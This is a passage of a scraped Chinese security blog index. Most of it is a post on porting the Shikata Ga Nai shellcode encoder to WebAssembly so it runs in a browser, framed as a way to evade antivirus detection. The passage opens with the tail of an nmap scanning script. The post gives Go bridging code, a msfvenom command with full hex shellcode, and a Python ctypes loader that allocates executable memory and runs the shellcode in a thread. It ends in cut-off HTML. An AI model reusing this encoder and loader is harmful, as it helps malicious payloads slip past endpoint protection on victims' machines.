style=\"color:#f92672\"\u003e=\u003c/span\u003e nmap\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ePortScanner()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        nm\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003escan(hosts\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eself\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etargets, ports\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eself\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eports, arguments\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eself\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enmap_arguments)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        ip_info_list \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e host \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e nm\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eall_hosts():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            port_info_list \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e proto \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e nm[host]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eall_protocols():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                port_len \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e len(nm[host][proto])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e port \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e nm[host][proto]:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#75715e\"\u003e# 对于开了很多端口的直接丢弃\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e port_len \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e600\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e (port \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e80\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e443\u003c/span\u003e]):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#66d9ef\"\u003econtinue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    port_info \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e nm[host][proto][port]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    item \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;port_id\u0026#34;\u003c/span\u003e: port,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;service_name\u0026#34;\u003c/span\u003e: port_info[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;name\u0026#34;\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;version\u0026#34;\u003c/span\u003e: port_info[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;version\u0026#34;\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;product\u0026#34;\u003c/span\u003e: port_info[\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;product\u0026#34;\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;protocol\u0026#34;\u003c/span\u003e: proto\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                    port_info_list\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(item)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            osmatch_list \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e nm[host]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;osmatch\u0026#34;\u003c/span\u003e, [])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            os_info \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e self\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eos_match_by_accuracy(osmatch_list)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ip_info \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ip\u0026#34;\u003c/span\u003e: host,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;port_info\u0026#34;\u003c/span\u003e: port_info_list,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;os_info\u0026#34;\u003c/span\u003e: os_info\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            ip_info_list\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend(ip_info)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e ip_info_list\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eos_match_by_accuracy\u003c/span\u003e(self, os_match_list):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e os_match \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e os_match_list:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            accuracy \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e os_match\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;accuracy\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e int(accuracy) \u003cspan style=\"color:#f92672\"\u003e\u0026gt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e90\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e os_match\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e {}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e入口是run\u003c/p\u003e","title":"从arl中学习到的nmap配置"},{"content":"Shikata ga nai是什么 Metasploit-Framework是一个漏洞利用框架，里面有大量的漏洞库，针对shellcode一些混淆编码器可以让用户bypass一些安全软件，其中一个比较核心的编码器是Shikata Ga Nai (SGN)。\nshellcode 主要是机器码，也可以看作一段汇编指令。Metasploit 在默认配置下就会对payload进行编码。虽然 Metasploit 有各种编码器，但最受欢迎的是 SGN。日语中的短语 SGN 的意思是“无能为力”，之所以这样说，是因为它在创建时传统的反病毒产品难以检测。\n检测 SGN 编码的payload很困难，尤其是在严重依赖静态检测的情况下。任何基于规则的静态检测机制基本上都无法检测到用 SGN 编码的payload。而不断扫描内存的计算成本很高，因此不太可行。这使得大多数杀软依赖于行为指标和沙箱进行检测。\n为什么说带到前端 首先介绍下 EgeBalci/sgn，这个项目将msf的Shikata Ga Nai编码器移植到了Golang，使得用户可以不通过msf即可享受到SGN的能力。\n既然这个项目是非平台依赖的工具，那我们可以考虑将它移植到前端，这样用户只需要打开浏览器就能用了。\n移植思路 首先我们可以考虑：sgn是一个golang项目，所以我们可以编译到wasm，然后暴露api给javascript来调用，这样就可以实现前端使用sgn了。\n但是遇到了一些问题。\n该项目并不是一个Pure Go项目，它依赖cgo，没办法编译到wasm。\n但是我记得 github.com/therecipe/qt 可以编译到wasm，通过一些研究，发现它是采用了go-js-qt的桥接，qt是可以编译到wasm的，go也可以编译到wasm，然后两者之间再桥接起来。那我们可以尝试先将 github.com/keystone-engine/keystone 编译到wasm，然后将sgn项目里面调用cgo的地方全部使用 syscall/js 桥接到keystone上去，此时sgn变成了一个Pure Go项目，可以将其编译到wasm了，然后再暴露出一个接口就可以供js使用了\n实现手段 cgo到桥接 sgn里面需要使用cgo是因为依赖 github.com/EgeBalci/keystone-go，看了一下这个项目，其实是keystone的包装，keystone是一个c++写的项目，所以我们可以考虑使用 emscripten 来将keystone编译到wasm，不过该项工作已经有人做了，我们在这边就不自己再花时间搭环境编译了，可以看看 alexaltea.github.io/keystone.js/\n然后我们看看sgn里面依赖cgo的地方，主要是在 pkg/sgn.go\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 package sgn import ( ... \u0026#34;github.com/EgeBalci/keystone-go\u0026#34; ) ... // Assemble assembes the given instructions // and return a byte array with a boolean value indicating wether the operation is successful or not func (encoder Encoder) Assemble(asm string) ([]byte, bool) { var mode keystone.Mode switch encoder.architecture { case 32: mode = keystone.MODE_32 case 64: mode = keystone.MODE_64 default: return nil, false } ks, err := keystone.New(keystone.ARCH_X86, mode) if err != nil { return nil, false } defer ks.Close() err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL) if err != nil { return nil, false } //log.Println(asm) bin, _, ok := ks.Assemble(asm, 0) return bin, ok } // GetAssemblySize assembes the given instructions and returns the total instruction size // if assembly fails return value is -1 func (encoder Encoder) GetAssemblySize(asm string) int { var mode keystone.Mode switch encoder.architecture { case 32: mode = keystone.MODE_32 case 64: mode = keystone.MODE_64 default: return -1 } ks, err := keystone.New(keystone.ARCH_X86, mode) if err != nil { return -1 } defer ks.Close() err = ks.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL) if err != nil { return -1 } //log.Println(asm) bin, _, ok := ks.Assemble(asm, 0) if !ok { return -1 } return len(bin) } ... 其实工作量并不大，只是需要把所有对 keystone-go 的调用换到keystone.js上即可。\n可以一步步按照 https://pkg.go.dev/syscall/js 上面的api文档对照着改，这里我就不详细阐述语法了，之间将改动后的贴上来\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 package sgn import ( ... \u0026#34;syscall/js\u0026#34; ) func GetKeystone() js.Value { return js.Global().Get(\u0026#34;ks\u0026#34;) } // Assemble assembes the given instructions // and return a byte array with a boolean value indicating wether the operation is successful or not func (encoder Encoder) Assemble(asm string) ([]byte, bool) { var mode js.Value switch encoder.architecture { case 32: mode = GetKeystone().Get(\u0026#34;MODE_32\u0026#34;) case 64: mode = GetKeystone().Get(\u0026#34;MODE_64\u0026#34;) default: return nil, false } keystoneFunc := GetKeystone().Get(\u0026#34;Keystone\u0026#34;) ks := keystoneFunc.New(GetKeystone().Get(\u0026#34;ARCH_X86\u0026#34;), mode) if !ks.Truthy() { return nil, false } defer ks.Call(\u0026#34;close\u0026#34;) ks.Call(\u0026#34;option\u0026#34;, GetKeystone().Get(\u0026#34;OPT_SYNTAX\u0026#34;), GetKeystone().Get(\u0026#34;OPT_SYNTAX_INTEL\u0026#34;)) v := ks.Call(\u0026#34;asm\u0026#34;, asm) if !v.Truthy() { return nil, false } ok := !v.Get(\u0026#34;failed\u0026#34;).Bool() if !v.Get(\u0026#34;mc\u0026#34;).Truthy() { return nil, false } var bin = make([]byte, v.Get(\u0026#34;mc\u0026#34;).Length()) for i:=0; i\u0026lt;v.Get(\u0026#34;mc\u0026#34;).Length(); i++ { bin[i] = byte(v.Get(\u0026#34;mc\u0026#34;).Index(i).Int()) } return bin, ok } // GetAssemblySize assembes the given instructions and returns the total instruction size // if assembly fails return value is -1 func (encoder Encoder) GetAssemblySize(asm string) int { var mode js.Value switch encoder.architecture { case 32: mode = GetKeystone().Get(\u0026#34;MODE_32\u0026#34;) case 64: mode = GetKeystone().Get(\u0026#34;MODE_64\u0026#34;) default: return -1 } keystoneFunc := GetKeystone().Get(\u0026#34;Keystone\u0026#34;) ks := keystoneFunc.New(GetKeystone().Get(\u0026#34;ARCH_X86\u0026#34;), mode) if !ks.Truthy() { return -1 } defer ks.Call(\u0026#34;close\u0026#34;) ks.Call(\u0026#34;option\u0026#34;, GetKeystone().Get(\u0026#34;OPT_SYNTAX\u0026#34;), GetKeystone().Get(\u0026#34;OPT_SYNTAX_INTEL\u0026#34;)) //log.Println(asm) v := ks.Call(\u0026#34;asm\u0026#34;, asm) if !v.Truthy() { return -1 } ok := v.Get(\u0026#34;failed\u0026#34;).Bool() if !ok { return -1 } if !v.Get(\u0026#34;mc\u0026#34;).Truthy() { return -1 } return v.Get(\u0026#34;mc\u0026#34;).Length() } 可以看到基本上就是使用 syscall/js 库按照 keystone.js 的文档再把原先的实现一遍。\n现在可以编译到wasm了 GOARCH=wasm GOOS=js go build -trimpath -ldflags=\u0026quot;-s -w\u0026quot;\n然后可以使用 https://github.com/golang/go/blob/master/misc/wasm/go_js_wasm_exec 运行测试下，我这里就不做了。\napi暴露 我们js调用wasm库，肯定需要一个api入口，我们可以将sgn的main入口改造一下\ngo编译到wasm后需要一个特殊的js文件加载下，具体需要 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.js\n相关样例可以查看golang官方示例 https://github.com/golang/go/blob/master/misc/wasm/wasm_exec.html\n然后我们可以将main函数改写一下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 func sgnExec(arch, encCount, obsLevel int, encDecoder, asciPayload, saveRegisters bool, badChars, input string) map[string]interface{} { var res = map[string]interface{}{ \u0026#34;err\u0026#34;: nil, \u0026#34;result\u0026#34;: nil, } source, err := hex.DecodeString(strings.ReplaceAll(input, `\\x`, \u0026#34;\u0026#34;)) if err != nil { res[\u0026#34;err\u0026#34;] = err return res } payload := []byte{} encoder := sgn.NewEncoder() encoder.ObfuscationLimit = obsLevel encoder.PlainDecoder = encDecoder encoder.EncodingCount = encCount encoder.SaveRegisters = saveRegisters eror(encoder.SetArchitecture(arch)) if badChars != \u0026#34;\u0026#34; || asciPayload { badBytes, err := hex.DecodeString(strings.ReplaceAll(badChars, `\\x`, \u0026#34;\u0026#34;)) eror(err) for { p, err := encode(encoder, source) eror(err) if (asciPayload \u0026amp;\u0026amp; isASCIIPrintable(string(p))) || (len(badBytes) \u0026gt; 0 \u0026amp;\u0026amp; !containsBytes(p, badBytes)) { payload = p break } encoder.Seed = (encoder.Seed + 1) % 255 } } else { payload, err = encode(encoder, source) eror(err) } res[\u0026#34;result\u0026#34;] = hex.EncodeToString(payload) return res } sgnExec 实现了原先main的功能，只是把命令行参数改为了函数参数传入，然后我们把这个函数暴露给js，需要为 sgnExec 函数套一个壳，从 args[0] 获取入参，计算结果用 js.ValueOf 包装，并返回。\n1 2 3 4 5 6 7 8 9 10 11 func sgnFunc(this js.Value, args []js.Value) interface{} { arch := args[0].Int() encCount := args[1].Int() obsLevel := args[2].Int() encDecoder := args[3].Bool() asciPayload := args[4].Bool() saveRegisters := args[5].Bool() badChars := args[6].String() input := args[7].String() return js.ValueOf(sgnExec(arch, encCount, obsLevel, encDecoder, asciPayload, saveRegisters, badChars, input)) } 该函数将js传入的参数进行转换然后调用sgnExec并将结果返回\n然后我们使用 js.Global().Set() 方法，将函数 sgnFunc 注册到全局，以便在浏览器中能够调用。\n1 2 3 4 5 func main() { done := make(chan int, 0) js.Global().Set(\u0026#34;sgnFunc\u0026#34;, js.FuncOf(sgnFunc)) \u0026lt;-done } 现在可以导入这个wasm，然后通过js来调用函数 sgnFunc 了。可以按照前面给出的golang官方示例写一个简陋的前端。下面会给出一个live demo\n测试 首先我们先生成一个shellcode，这里我直接使用msf\n1 2 3 4 5 6 7 $ ./msfvenom -p windows/x64/exec CMD=calc.exe -f hex [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 276 bytes Final size of hex file: 552 bytes fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c632e65786500 然后我们快速写个py脚本执行测试下shellcode\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import ctypes import sys shellcode = bytes.fromhex(sys.argv[1].strip()) shellcode = bytearray(shellcode) # 设置VirtualAlloc返回类型为ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申请内存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 创建一个线程从shellcode防止位置首地址开始执行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面创建的线程运行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1)) 然后运行下原始的shellcode\n可以看到弹出了计算器\n然后我们放在页面上编码混淆一下\n然后运行一下\n可以看到，shellcode功能正常。\nLive Demo 如果大家想在线体验一下，可以到 https://www.hacktech.cn/sgn-html/ 体验一下。\nReference Shikata Ga Nai Encoder Still Going Strong\ngithub.com/EgeBalci/sgn\nGo WebAssembly (Wasm) 简明教程\nhttps://github.com/therecipe/qt/blob/master/qt_wasm.go\nHow does CGO + WASM work?\n","permalink":"https://www.hacktech.cn/post/2022/03/shikata-ga-nai-to-wasm/","summary":"\u003ch2 id=\"shikata-ga-nai是什么\"\u003eShikata ga nai是什么\u003c/h2\u003e\n\u003cp\u003eMetasploit-Framework是一个漏洞利用框架，里面有大量的漏洞库，针对shellcode一些混淆编码器可以让用户bypass一些安全软件，其中一个比较核心的编码器是Shikata Ga Nai (SGN)。\u003c/p\u003e\n\u003cp\u003eshellcode 主要是机器码，也可以看作一段汇编指令。Metasploit 在默认配置下就会对payload进行编码。虽然 Metasploit 有各种编码器，但最受欢迎的是 SGN。日语中的短语 SGN 的意思是“无能为力”，之所以这样说，是因为它在创建时传统的反病毒产品难以检测。\u003c/p\u003e\n\u003cp\u003e检测 SGN 编码的payload很困难，尤其是在严重依赖静态检测的情况下。任何基于规则的静态检测机制基本上都无法检测到用 SGN 编码的payload。而不断扫描内存的计算成本很高，因此不太可行。这使得大多数杀软依赖于行为指标和沙箱进行检测。\u003c/p\u003e\n\u003ch2 id=\"为什么说带到前端\"\u003e为什么说带到前端\u003c/h2\u003e\n\u003cp\u003e首先介绍下 \u003ca href=\"https://github.com/EgeBalci/sgn\"\u003eEgeBalci/sgn\u003c/a\u003e，这个项目将msf的Shikata Ga Nai编码器移植到了Golang，使得用户可以不通过msf即可享受到SGN的能力。\u003c/p\u003e\n\u003cp\u003e既然这个项目是非平台依赖的工具，那我们可以考虑将它移植到前端，这样用户只需要打开浏览器就能用了。\u003c/p\u003e\n\u003ch2 id=\"移植思路\"\u003e移植思路\u003c/h2\u003e\n\u003cp\u003e首先我们可以考虑：sgn是一个golang项目，所以我们可以编译到wasm，然后暴露api给javascript来调用，这样就可以实现前端使用sgn了。\u003c/p\u003e\n\u003cp\u003e但是遇到了一些问题。\u003c/p\u003e\n\u003cp\u003e该项目并不是一个Pure Go项目，它依赖cgo，没办法编译到wasm。\u003c/p\u003e\n\u003cp\u003e但是我记得 \u003ca href=\"https://github.com/therecipe/qt\"\u003egithub.com/therecipe/qt\u003c/a\u003e 可以编译到wasm，通过一些研究，发现它是采用了go-js-qt的桥接，qt是可以编译到wasm的，go也可以编译到wasm，然后两者之间再桥接起来。那我们可以尝试先将 \u003ca href=\"http://github.com/keystone-engine/keystone\"\u003egithub.com/keystone-engine/keystone\u003c/a\u003e 编译到wasm，然后将sgn项目里面调用cgo的地方全部使用 syscall/js 桥接到keystone上去，此时sgn变成了一个Pure Go项目，可以将其编译到wasm了，然后再暴露出一个接口就可以供js使用了\u003c/p\u003e\n\u003ch2 id=\"实现手段\"\u003e实现手段\u003c/h2\u003e\n\u003ch3 id=\"cgo到桥接\"\u003ecgo到桥接\u003c/h3\u003e\n\u003cp\u003esgn里面需要使用cgo是因为依赖 \u003ca href=\"https://github.com/EgeBalci/keystone-go\"\u003egithub.com/EgeBalci/keystone-go\u003c/a\u003e，看了一下这个项目，其实是keystone的包装，keystone是一个c++写的项目，所以我们可以考虑使用 \u003ca href=\"https://emscripten.org/\"\u003eemscripten\u003c/a\u003e 来将keystone编译到wasm，不过该项工作已经有人做了，我们在这边就不自己再花时间搭环境编译了，可以看看 \u003ca href=\"https://alexaltea.github.io/keystone.js/\"\u003ealexaltea.github.io/keystone.js\u003c/a\u003e/\u003c/p\u003e\n\u003cp\u003e然后我们看看sgn里面依赖cgo的地方，主要是在 pkg/sgn.go\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan 